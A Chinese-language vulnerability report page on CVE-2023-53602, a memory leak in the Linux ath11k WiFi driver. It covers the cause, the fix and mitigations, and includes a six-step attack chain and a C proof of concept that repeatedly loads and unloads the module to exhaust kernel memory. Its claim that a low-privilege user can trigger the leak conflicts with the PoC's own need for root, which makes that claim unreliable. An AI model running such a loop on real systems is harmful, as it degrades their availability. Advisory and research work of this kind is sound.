IPBUF安全漏洞报告
English
CVE-2023-53602 CVSS 5.5 中危

CVE-2023-53602 Linux内核ath11k驱动WMI固件统计内存泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53602
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核ath11k WiFi驱动(Qualcomm QCN9074等芯片)

相关标签

内存泄漏Linux内核ath11kWiFi驱动QualcommQCN9074WMI内核模块拒绝服务可用性影响

漏洞概述

CVE-2023-53602是Linux内核中ath11k无线驱动的一个内存泄漏漏洞,存在于WMI(Wireless Module Interface)固件统计信息处理模块中。该漏洞由Qualcomm的ath11k驱动在处理固件统计数据时未能正确释放动态分配的内存所致。具体而言,当驱动从WMI事件中接收到固件统计数据时,会为pdev(物理设备)、vdev(虚拟设备)和beacon(信标)统计信息分配内存空间,但在模块卸载(rmmod)过程中,这些已分配的内存未被正确释放,导致内存泄漏问题长期累积。该漏洞已在Linux内核主线修复,修复方案是在硬件注销(hardware unregister)之前调用ath11k_fw_stats_free()函数来释放固件统计相关的内存资源,同时避免在WMI事件处理过程中错误调用释放函数(因为本地列表在拼接和重新初始化后已不包含任何元素)。该漏洞已在QCN9074 hw1.0 PCI WLAN.HK.2.7.0.1-01744-QCAHKSWPL_SILICONZ-1版本上进行了测试验证。CVSS评分为5.5分,属于中危级别,主要影响系统的可用性,可能导致系统长时间运行后因内存耗尽而出现性能下降或系统不稳定等问题。

技术细节

该漏洞的根本原因在于ath11k驱动的固件统计资源管理逻辑存在缺陷。在Linux内核的ath11k WiFi驱动中,当系统通过WMI接口接收来自固件的统计数据时,驱动会动态分配内存来存储pdev(物理设备统计)、vdev(虚拟设备统计)和beacon(信标统计)等信息。这些统计数据以链表形式组织管理。漏洞的核心问题在于:1)在模块卸载路径(rmmod)中,驱动执行了硬件注销操作,但未调用相应的内存释放函数ath11k_fw_stats_free(),导致之前为固件统计分配的内存无法被回收;2)在WMI事件处理回调中,驱动曾尝试调用ath11k_fw_stats_free(),但由于本地列表在list_splice_init操作后已被重新初始化为空列表,此时调用释放函数实际上不会释放任何内存,属于冗余且误导性的调用。修复方案通过在正确的时机——硬件注销之前——调用ath11k_fw_stats_free()来确保所有固件统计数据占用的内存被正确释放,同时移除了WMI事件处理中的无效释放调用。攻击者利用此漏洞需要本地低权限访问权限(PR:L),无需用户交互(UI:N),通过反复加载和卸载ath11k驱动模块可以触发内存泄漏的累积,最终可能导致内核内存耗尽,影响系统可用性(AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获取目标系统的本地低权限访问权限(PR:L),可通过普通用户账号或利用其他漏洞获得本地shell访问。
STEP 2
步骤2:验证ath11k模块存在
攻击者检查目标系统是否使用Qualcomm ath11k WiFi驱动(QCN9074等芯片),可通过lsmod | grep ath11k或检查系统硬件确认。
STEP 3
步骤3:触发固件统计分配
加载ath11k驱动模块(modprobe ath11k),驱动初始化时会通过WMI接口接收固件统计数据,为pdev、vdev和beacon统计信息动态分配内存。
STEP 4
步骤4:卸载驱动触发泄漏
执行rmmod或modprobe -r ath11k卸载驱动,由于漏洞存在,固件统计相关的内存未被释放,导致内存泄漏。
STEP 5
步骤5:反复操作累积泄漏
攻击者通过脚本反复执行加载/卸载操作,每次循环都会泄漏一定量的内核内存,长期累积可能导致内核内存耗尽。
STEP 6
步骤6:影响系统可用性
内存泄漏累积到一定程度后,系统可用内存减少,可能导致性能下降、OOM(Out of Memory)错误,甚至系统崩溃或拒绝服务状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53602 PoC - Triggering memory leak via repeated module load/unload // This PoC demonstrates how to trigger the ath11k firmware stats memory leak // by repeatedly loading and unloading the ath11k kernel module. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Function to execute system command and check result int run_command(const char *cmd) { int ret = system(cmd); if (ret != 0) { fprintf(stderr, "Command failed: %s\n", cmd); return -1; } return 0; } int main(int argc, char *argv[]) { int iterations = 100; // Number of load/unload cycles int i; printf("[*] CVE-2023-53602 - ath11k Firmware Stats Memory Leak PoC\n"); printf("[*] This PoC triggers memory leak by repeated module load/unload\n\n"); if (argc > 1) { iterations = atoi(argv[1]); } printf("[*] Starting %d iterations of ath11k module load/unload\n", iterations); for (i = 0; i < iterations; i++) { printf("\r[*] Iteration %d/%d", i + 1, iterations); fflush(stdout); // Load ath11k module - triggers firmware stats allocation if (run_command("modprobe ath11k 2>/dev/null") != 0) { fprintf(stderr, "\n[!] Failed to load ath11k module. Are you root?\n"); return 1; } // Allow firmware stats to be populated sleep(2); // Unload ath11k module - should free firmware stats but doesn't (the bug) if (run_command("modprobe -r ath11k 2>/dev/null") != 0) { fprintf(stderr, "\n[!] Failed to unload ath11k module\n"); } sleep(1); } printf("\n\n[*] Completed %d iterations\n", iterations); printf("[*] Check kernel memory usage with: cat /proc/meminfo | grep Slab\n"); printf("[*] Or check with: dmesg | grep -i 'memory leak'\n"); return 0; }

影响范围

Linux内核 < 6.6(包含ath11k驱动的版本)
Linux内核 6.6.x(未修复版本)
Linux内核 6.1.x(未修复版本)
Linux内核 5.15.x(未修复版本)
Linux内核 5.10.x(未修复版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对ath11k内核模块的加载和卸载权限,通过修改udev规则或禁用module loading功能;2)监控系统内存使用,设置内存使用告警阈值,及时发现异常内存增长;3)定期重启系统以释放累积泄漏的内存;4)如果不需要使用Qualcomm WiFi设备,可以在系统启动时通过blacklist机制禁用ath11k模块加载;5)关注Linux发行版的安全公告,及时应用官方发布的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表